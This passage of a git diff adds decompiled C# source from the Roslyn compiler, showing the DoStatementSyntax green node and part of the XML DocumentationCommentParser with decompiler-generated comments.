closeParenToken; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken DoKeyword => doKeyword; + + public StatementSyntax Statement => statement; + + public SyntaxToken WhileKeyword => whileKeyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax Condition => condition; + + public SyntaxToken CloseParenToken => closeParenToken; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal DoStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken doKeyword, StatementSyntax statement, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)doKeyword); + this.doKeyword = doKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whileKeyword); + this.whileKeyword = whileKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal DoStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken doKeyword, StatementSyntax statement, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)doKeyword); + this.doKeyword = doKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whileKeyword); + this.whileKeyword = whileKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal DoStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken doKeyword, StatementSyntax statement, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)doKeyword); + this.doKeyword = doKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whileKeyword); + this.whileKeyword = whileKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => doKeyword, + 2 => statement, + 3 => whileKeyword, + 4 => openParenToken, + 5 => condition, + 6 => closeParenToken, + 7 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DoStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDoStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDoStatement(this); + } + + public DoStatementSyntax Update(SyntaxList attributeLists, SyntaxToken doKeyword, StatementSyntax statement, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || doKeyword != DoKeyword || statement != Statement || whileKeyword != WhileKeyword || openParenToken != OpenParenToken || condition != Condition || closeParenToken != CloseParenToken || semicolonToken != SemicolonToken) + { + DoStatementSyntax doStatementSyntax = SyntaxFactory.DoStatement(attributeLists, doKeyword, statement, whileKeyword, openParenToken, condition, closeParenToken, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + doStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(doStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + doStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(doStatementSyntax, (IEnumerable)annotations); + } + return doStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DoStatementSyntax(base.Kind, attributeLists, doKeyword, statement, whileKeyword, openParenToken, condition, closeParenToken, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DoStatementSyntax(base.Kind, attributeLists, doKeyword, statement, whileKeyword, openParenToken, condition, closeParenToken, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DoStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 8; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + doKeyword = syntaxToken; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + whileKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + openParenToken = syntaxToken3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + condition = expressionSyntax; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + closeParenToken = syntaxToken4; + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + semicolonToken = syntaxToken5; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)doKeyword); + writer.WriteValue((IObjectWritable)(object)statement); + writer.WriteValue((IObjectWritable)(object)whileKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)condition); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static DoStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DoStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DoStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DocumentationCommentParser.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DocumentationCommentParser.cs new file mode 100644 index 0000000..75442c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DocumentationCommentParser.cs @@ -0,0 +1,1185 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class DocumentationCommentParser : SyntaxParser +{ + private enum SkipResult + { + Continue, + Abort + } + + private readonly SyntaxListPool _pool = new SyntaxListPool(); + + private bool _isDelimited; + + private readonly HashSet _attributesSeen = new HashSet(); + + private bool IsEndOfCrefAttribute + { + get + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.SingleQuoteToken: + return (base.Mode & LexerMode.XmlCrefQuote) == LexerMode.XmlCrefQuote; + case SyntaxKind.DoubleQuoteToken: + return (base.Mode & LexerMode.XmlCrefDoubleQuote) == LexerMode.XmlCrefDoubleQuote; + case SyntaxKind.EndOfDocumentationCommentToken: + case SyntaxKind.EndOfFileToken: + return true; + case SyntaxKind.BadToken: + if (!(base.CurrentToken.Text == SyntaxFacts.GetText(SyntaxKind.LessThanToken))) + { + return IsNonAsciiQuotationMark(base.CurrentToken); + } + return true; + default: + return false; + } + } + } + + private bool InCref + { + get + { + LexerMode lexerMode = base.Mode & (LexerMode.XmlCrefQuote | LexerMode.XmlCrefDoubleQuote); + if (lexerMode == LexerMode.XmlCrefQuote || lexerMode == LexerMode.XmlCrefDoubleQuote) + { + return true; + } + return false; + } + } + + private bool IsEndOfNameAttribute + { + get + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.SingleQuoteToken: + return (base.Mode & LexerMode.XmlNameQuote) == LexerMode.XmlNameQuote; + case SyntaxKind.DoubleQuoteToken: + return (base.Mode & LexerMode.XmlNameDoubleQuote) == LexerMode.XmlNameDoubleQuote; + case SyntaxKind.EndOfDocumentationCommentToken: + case SyntaxKind.EndOfFileToken: + return true; + case SyntaxKind.BadToken: + if (!(base.CurrentToken.Text == SyntaxFacts.GetText(SyntaxKind.LessThanToken))) + { + return IsNonAsciiQuotationMark(base.CurrentToken); + } + return true; + default: + return false; + } + } + } + + internal DocumentationCommentParser(Lexer lexer, LexerMode modeflags) + : base(lexer, LexerMode.XmlDocComment | modeflags, null, null, allowModeReset: true) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Expected O, but got Unknown + _isDelimited = (modeflags & LexerMode.XmlDocCommentStyleDelimited) != 0; + } + + internal void ReInitialize(LexerMode modeflags) + { + ReInitialize(); + base.Mode = LexerMode.XmlDocComment | modeflags; + _isDelimited = (modeflags & LexerMode.XmlDocCommentStyleDelimited) != 0; + } + + private LexerMode SetMode(LexerMode mode) + { + LexerMode mode2 = base.Mode; + base.Mode = mode | (mode2 & (LexerMode.MaskXmlDocCommentLocation | LexerMode.MaskXmlDocCommentStyle)); + return mode2; + } + + private void ResetMode(LexerMode mode) + { + base.Mode = mode; + } + + public DocumentationCommentTriviaSyntax ParseDocumentationComment(out bool isTerminated) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = _pool.Allocate(); + try + { + ParseXmlNodes(val); + if (base.CurrentToken.Kind != SyntaxKind.EndOfDocumentationCommentToken) + { + ParseRemainder(val); + } + SyntaxToken syntaxToken = EatToken(SyntaxKind.EndOfDocumentationCommentToken); + isTerminated = !_isDelimited || (syntaxToken.LeadingTrivia.Count > 0 && ((object)syntaxToken.LeadingTrivia[syntaxToken.LeadingTrivia.Count - 1]).ToString() == "*/"); + return SyntaxFactory.DocumentationCommentTrivia(_isDelimited ? SyntaxKind.MultiLineDocumentationCommentTrivia : SyntaxKind.SingleLineDocumentationCommentTrivia, val.ToList(), syntaxToken); + } + finally + { + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + } + } + + public void ParseRemainder(SyntaxListBuilder nodes) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + bool flag = base.CurrentToken.Kind == SyntaxKind.LessThanSlashToken; + LexerMode mode = SetMode(LexerMode.XmlCDataSectionText); + SyntaxListBuilder val = _pool.Allocate(); + try + { + while (base.CurrentToken.Kind != SyntaxKind.EndOfDocumentationCommentToken) + { + SyntaxToken syntaxToken = EatToken(); + val.Add((GreenNode)(object)syntaxToken); + } + XmlTextSyntax node = SyntaxFactory.XmlText(SyntaxList.op_Implicit(val.ToList())); + XmlParseErrorCode code = (flag ? XmlParseErrorCode.XML_EndTagNotExpected : XmlParseErrorCode.XML_ExpectedEndOfXml); + node = WithAdditionalDiagnostics(node, new XmlSyntaxDiagnosticInfo(0, 1, code)); + nodes.Add((XmlNodeSyntax)node); + } + finally + { + _pool.Free(val); + } + ResetMode(mode); + } + + private void ParseXmlNodes(SyntaxListBuilder nodes) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + while (true) + { + XmlNodeSyntax xmlNodeSyntax = ParseXmlNode(); + if (xmlNodeSyntax == null) + { + break; + } + nodes.Add(xmlNodeSyntax); + } + } + + private XmlNodeSyntax ParseXmlNode() + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.XmlEntityLiteralToken: + case SyntaxKind.XmlTextLiteralToken: + case SyntaxKind.XmlTextLiteralNewLineToken: + return ParseXmlText(); + case SyntaxKind.LessThanToken: + return ParseXmlElement(); + case SyntaxKind.XmlCommentStartToken: + return ParseXmlComment(); + case SyntaxKind.XmlCDataStartToken: + return ParseXmlCDataSection(); + case SyntaxKind.XmlProcessingInstructionStartToken: + return ParseXmlProcessingInstruction(); + case SyntaxKind.EndOfDocumentationCommentToken: + return null; + default: + return null; + } + } + + private bool IsXmlNodeStartOrStop() + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.LessThanToken: + case SyntaxKind.GreaterThanToken: + case SyntaxKind.SlashGreaterThanToken: + case SyntaxKind.LessThanSlashToken: + case SyntaxKind.XmlCommentStartToken: + case SyntaxKind.XmlCDataStartToken: + case SyntaxKind.XmlProcessingInstructionStartToken: + case SyntaxKind.EndOfDocumentationCommentToken: + return true; + default: + return false; + } + } + + private XmlNodeSyntax ParseXmlText() + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = _pool.Allocate(); + while (base.CurrentToken.Kind == SyntaxKind.XmlTextLiteralToken || base.CurrentToken.Kind == SyntaxKind.XmlTextLiteralNewLineToken || base.CurrentToken.Kind == SyntaxKind.XmlEntityLiteralToken) + { + val.Add((GreenNode)(object)EatToken()); + } + SyntaxList val2 = val.ToList(); + _pool.Free(val); + return SyntaxFactory.XmlText(SyntaxList.op_Implicit(val2)); + } + + private XmlNodeSyntax ParseXmlElement() + { + //IL_01ee: Unknown result type (might be due to invalid IL or missing references) + //IL_0255: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_023e: Unknown result type (might be due to invalid IL or missing references) + //IL_023f: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_01d8: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken syntaxToken = EatToken(SyntaxKind.LessThanToken); + LexerMode mode = SetMode(LexerMode.XmlElementTag); + XmlNameSyntax elementName = ParseXmlName(); + if (((GreenNode)syntaxToken).GetTrailingTriviaWidth() > 0 || ((GreenNode)elementName).GetLeadingTriviaWidth() > 0) + { + elementName = WithXmlParseError(elementName, XmlParseErrorCode.XML_InvalidWhitespace); + } + SyntaxListBuilder val = _pool.Allocate(); + try + { + ParseXmlAttributes(ref elementName, val); + if (base.CurrentToken.Kind == SyntaxKind.GreaterThanToken) + { + XmlElementStartTagSyntax startTag = SyntaxFactory.XmlElementStartTag(syntaxToken, elementName, SyntaxListBuilder.op_Implicit(val), EatToken()); + SetMode(LexerMode.XmlDocComment); + SyntaxListBuilder val2 = _pool.Allocate(); + try + { + ParseXmlNodes(val2); + SyntaxToken syntaxToken2 = EatToken(SyntaxKind.LessThanSlashToken, reportError: false); + XmlNameSyntax startNode; + SyntaxToken greaterThanToken; + if (((GreenNode)syntaxToken2).IsMissing) + { + ResetMode(mode); + syntaxToken2 = WithXmlParseError(syntaxToken2, XmlParseErrorCode.XML_EndTagExpected, ((object)elementName).ToString()); + startNode = SyntaxFactory.XmlName(null, SyntaxFactory.MissingToken(SyntaxKind.IdentifierToken)); + greaterThanToken = SyntaxFactory.MissingToken(SyntaxKind.GreaterThanToken); + } + else + { + SetMode(LexerMode.XmlElementTag); + startNode = ParseXmlName(); + if (((GreenNode)syntaxToken2).GetTrailingTriviaWidth() > 0 || ((GreenNode)startNode).GetLeadingTriviaWidth() > 0) + { + startNode = WithXmlParseError(startNode, XmlParseErrorCode.XML_InvalidWhitespace); + } + if (!((GreenNode)startNode).IsMissing && !MatchingXmlNames(elementName, startNode)) + { + startNode = WithXmlParseError(startNode, XmlParseErrorCode.XML_ElementTypeMatch, ((object)startNode).ToString(), ((object)elementName).ToString()); + } + if (base.CurrentToken.Kind != SyntaxKind.GreaterThanToken) + { + SkipBadTokens(ref startNode, null, (DocumentationCommentParser p) => p.CurrentToken.Kind != SyntaxKind.GreaterThanToken, (DocumentationCommentParser p) => p.IsXmlNodeStartOrStop(), XmlParseErrorCode.XML_InvalidToken); + } + greaterThanToken = EatToken(SyntaxKind.GreaterThanToken); + } + XmlElementEndTagSyntax endTag = SyntaxFactory.XmlElementEndTag(syntaxToken2, startNode, greaterThanToken); + ResetMode(mode); + return SyntaxFactory.XmlElement(startTag, val2.ToList(), endTag); + } + finally + { + _pool.Free(SyntaxListBuilder.op_Implicit(val2)); + } + } + SyntaxToken syntaxToken3 = EatToken(SyntaxKind.SlashGreaterThanToken, reportError: false); + if (((GreenNode)syntaxToken3).IsMissing && !((GreenNode)elementName).IsMissing) + { + syntaxToken3 = WithXmlParseError(syntaxToken3, XmlParseErrorCode.XML_ExpectedEndOfTag, ((object)elementName).ToString()); + } + ResetMode(mode); + return SyntaxFactory.XmlEmptyElement(syntaxToken, elementName, SyntaxListBuilder.op_Implicit(val), syntaxToken3); + } + finally + { + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + } + } + + private static bool MatchingXmlNames(XmlNameSyntax name, XmlNameSyntax endName) + { + if (name == endName) + { + return true; + } + if (!((GreenNode)name).HasLeadingTrivia && !((GreenNode)endName).HasTrailingTrivia && ((GreenNode)name).IsEquivalentTo((GreenNode)(object)endName)) + { + return true; + } + return ((object)name).ToString() == ((object)endName).ToString(); + } + + private void ParseXmlAttributes(ref XmlNameSyntax elementName, SyntaxListBuilder attrs) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + _attributesSeen.Clear(); + while (true) + { + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken) + { + XmlAttributeSyntax xmlAttributeSyntax = ParseXmlAttribute(elementName); + string text = ((object)xmlAttributeSyntax.Name).ToString(); + if (!_attributesSeen.Add(text)) + { + xmlAttributeSyntax = WithXmlParseError(xmlAttributeSyntax, XmlParseErrorCode.XML_DuplicateAttribute, text); + } + attrs.Add(xmlAttributeSyntax); + } + else if (SkipBadTokens(ref elementName, SyntaxListBuilder.op_Implicit(attrs), (DocumentationCommentParser p) => p.CurrentToken.Kind != SyntaxKind.IdentifierName, (DocumentationCommentParser p) => p.CurrentToken.Kind == SyntaxKind.GreaterThanToken || p.CurrentToken.Kind == SyntaxKind.SlashGreaterThanToken || p.CurrentToken.Kind == SyntaxKind.LessThanToken || p.CurrentToken.Kind == SyntaxKind.LessThanSlashToken || p.CurrentToken.Kind == SyntaxKind.EndOfDocumentationCommentToken || p.CurrentToken.Kind == SyntaxKind.EndOfFileToken, XmlParseErrorCode.XML_InvalidToken) == SkipResult.Abort) + { + break; + } + } + } + + private SkipResult SkipBadTokens(ref T startNode, SyntaxListBuilder list, Func isNotExpectedFunction, Func abortFunction, XmlParseErrorCode error) where T : CSharpSyntaxNode + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = default(SyntaxListBuilder); + bool flag = false; + try + { + SkipResult result = SkipResult.Continue; + while (isNotExpectedFunction(this)) + { + if (abortFunction(this)) + { + result = SkipResult.Abort; + break; + } + if (val.IsNull) + { + val = _pool.Allocate(); + } + SyntaxToken syntaxToken = EatToken(); + if (!flag) + { + syntaxToken = WithXmlParseError(syntaxToken, error, ((object)syntaxToken).ToString()); + flag = true; + } + val.Add(syntaxToken); + } + if (!val.IsNull && val.Count > 0) + { + if (list == null || list.Count == 0) + { + startNode = AddTrailingSkippedSyntax(startNode, val.ToListNode()); + } + else + { + list[list.Count - 1] = (GreenNode)(object)AddTrailingSkippedSyntax((CSharpSyntaxNode)(object)list[list.Count - 1], val.ToListNode()); + } + return result; + } + return SkipResult.Abort; + } + finally + { + if (!val.IsNull) + { + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + } + } + } + + private XmlAttributeSyntax ParseXmlAttribute(XmlNameSyntax elementName) + { + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + XmlNameSyntax xmlNameSyntax = ParseXmlName(); + if (((GreenNode)xmlNameSyntax).GetLeadingTriviaWidth() == 0) + { + xmlNameSyntax = WithXmlParseError(xmlNameSyntax, XmlParseErrorCode.XML_WhitespaceMissing); + } + SyntaxToken syntaxToken = EatToken(SyntaxKind.EqualsToken, reportError: false); + if (((GreenNode)syntaxToken).IsMissing) + { + syntaxToken = WithXmlParseError(syntaxToken, XmlParseErrorCode.XML_MissingEqualsAttribute); + SyntaxKind kind = base.CurrentToken.Kind; + if (kind - 8213 > SyntaxKind.List) + { + return SyntaxFactory.XmlTextAttribute(xmlNameSyntax, syntaxToken, SyntaxFactory.MissingToken(SyntaxKind.DoubleQuoteToken), default(SyntaxList), SyntaxFactory.MissingToken(SyntaxKind.DoubleQuoteToken)); + } + } + string valueText = xmlNameSyntax.LocalName.ValueText; + bool flag = xmlNameSyntax.Prefix == null; + SyntaxToken startQuote; + SyntaxToken endQuote; + if (flag && DocumentationCommentXmlNames.AttributeEquals(valueText, "cref") && !IsVerbatimCref()) + { + ParseCrefAttribute(out startQuote, out var cref, out endQuote); + return SyntaxFactory.XmlCrefAttribute(xmlNameSyntax, syntaxToken, startQuote, cref, endQuote); + } + if (flag && DocumentationCommentXmlNames.AttributeEquals(valueText, "name") && XmlElementSupportsNameAttribute(elementName)) + { + ParseNameAttribute(out startQuote, out var identifier, out endQuote); + return SyntaxFactory.XmlNameAttribute(xmlNameSyntax, syntaxToken, startQuote, identifier, endQuote); + } + SyntaxListBuilder val = _pool.Allocate(); + try + { + ParseXmlAttributeText(out startQuote, val, out endQuote); + return SyntaxFactory.XmlTextAttribute(xmlNameSyntax, syntaxToken, startQuote, SyntaxListBuilder.op_Implicit(val), endQuote); + } + finally + { + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + } + } + + private static bool XmlElementSupportsNameAttribute(XmlNameSyntax elementName) + { + if (elementName.Prefix != null) + { + return false; + } + string valueText = elementName.LocalName.ValueText; + if (!DocumentationCommentXmlNames.ElementEquals(valueText, "param", false) && !DocumentationCommentXmlNames.ElementEquals(valueText, "paramref", false) && !DocumentationCommentXmlNames.ElementEquals(valueText, "typeparam", false)) + { + return DocumentationCommentXmlNames.ElementEquals(valueText, "typeparamref", false); + } + return true; + } + + private bool IsVerbatimCref() + { + bool result = false; + ResetPoint point = GetResetPoint(); + SyntaxToken syntaxToken = EatToken((base.CurrentToken.Kind == SyntaxKind.SingleQuoteToken) ? SyntaxKind.SingleQuoteToken : SyntaxKind.DoubleQuoteToken); + SetMode(LexerMode.XmlCharacter); + SyntaxToken currentToken = base.CurrentToken; + if ((currentToken.Kind == SyntaxKind.XmlTextLiteralToken || currentToken.Kind == SyntaxKind.XmlEntityLiteralToken) && currentToken.ValueText != SyntaxFacts.GetText(syntaxToken.Kind) && currentToken.ValueText != ":") + { + EatToken(); + currentToken = base.CurrentToken; + if ((currentToken.Kind == SyntaxKind.XmlTextLiteralToken || currentToken.Kind == SyntaxKind.XmlEntityLiteralToken) && currentToken.ValueText == ":") + { + result = true; + } + } + Reset(ref point); + Release(ref point); + return result; + } + + private void ParseCrefAttribute(out SyntaxToken startQuote, out CrefSyntax cref, out SyntaxToken endQuote) + { + startQuote = ParseXmlAttributeStartQuote(); + SyntaxKind kind = startQuote.Kind; + LexerMode mode = SetMode((kind == SyntaxKind.SingleQuoteToken) ? LexerMode.XmlCrefQuote : LexerMode.XmlCrefDoubleQuote); + cref = ParseCrefAttributeValue(); + ResetMode(mode); + endQuote = ParseXmlAttributeEndQuote(kind); + } + + private void ParseNameAttribute(out SyntaxToken startQuote, out IdentifierNameSyntax identifier, out SyntaxToken endQuote) + { + startQuote = ParseXmlAttributeStartQuote(); + SyntaxKind kind = startQuote.Kind; + LexerMode mode = SetMode((kind == SyntaxKind.SingleQuoteToken) ? LexerMode.XmlNameQuote : LexerMode.XmlNameDoubleQuote); + identifier = ParseNameAttributeValue(); + ResetMode(mode); + endQuote = ParseXmlAttributeEndQuote(kind); + } + + private void ParseXmlAttributeText(out SyntaxToken startQuote, SyntaxListBuilder textTokens, out SyntaxToken endQuote) + { + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + startQuote = ParseXmlAttributeStartQuote(); + SyntaxKind kind = startQuote.Kind; + if (((GreenNode)startQuote).IsMissing && ((GreenNode)startQuote).FullWidth == 0) + { + endQuote = SyntaxFactory.MissingToken(kind); + return; + } + LexerMode mode = SetMode((kind == SyntaxKind.SingleQuoteToken) ? LexerMode.XmlAttributeTextQuote : LexerMode.XmlAttributeTextDoubleQuote); + while (base.CurrentToken.Kind == SyntaxKind.XmlTextLiteralToken || base.CurrentToken.Kind == SyntaxKind.XmlTextLiteralNewLineToken || base.CurrentToken.Kind == SyntaxKind.XmlEntityLiteralToken || base.CurrentToken.Kind == SyntaxKind.LessThanToken) + { + SyntaxToken syntaxToken = EatToken(); + if (syntaxToken.Kind == SyntaxKind.LessThanToken) + { + syntaxToken = WithXmlParseError(syntaxToken, XmlParseErrorCode.XML_LessThanInAttributeValue); + } + textTokens.Add(syntaxToken); + } + ResetMode(mode); + endQuote = ParseXmlAttributeEndQuote(kind); + } + + private SyntaxToken ParseXmlAttributeStartQuote() + { + if (IsNonAsciiQuotationMark(base.CurrentToken)) + { + return SkipNonAsciiQuotationMark(); + } + SyntaxKind kind = ((base.CurrentToken.Kind == SyntaxKind.SingleQuoteToken) ? SyntaxKind.SingleQuoteToken : SyntaxKind.DoubleQuoteToken); + SyntaxToken syntaxToken = EatToken(kind, reportError: false); + if (((GreenNode)syntaxToken).IsMissing) + { + syntaxToken = WithXmlParseError(syntaxToken, 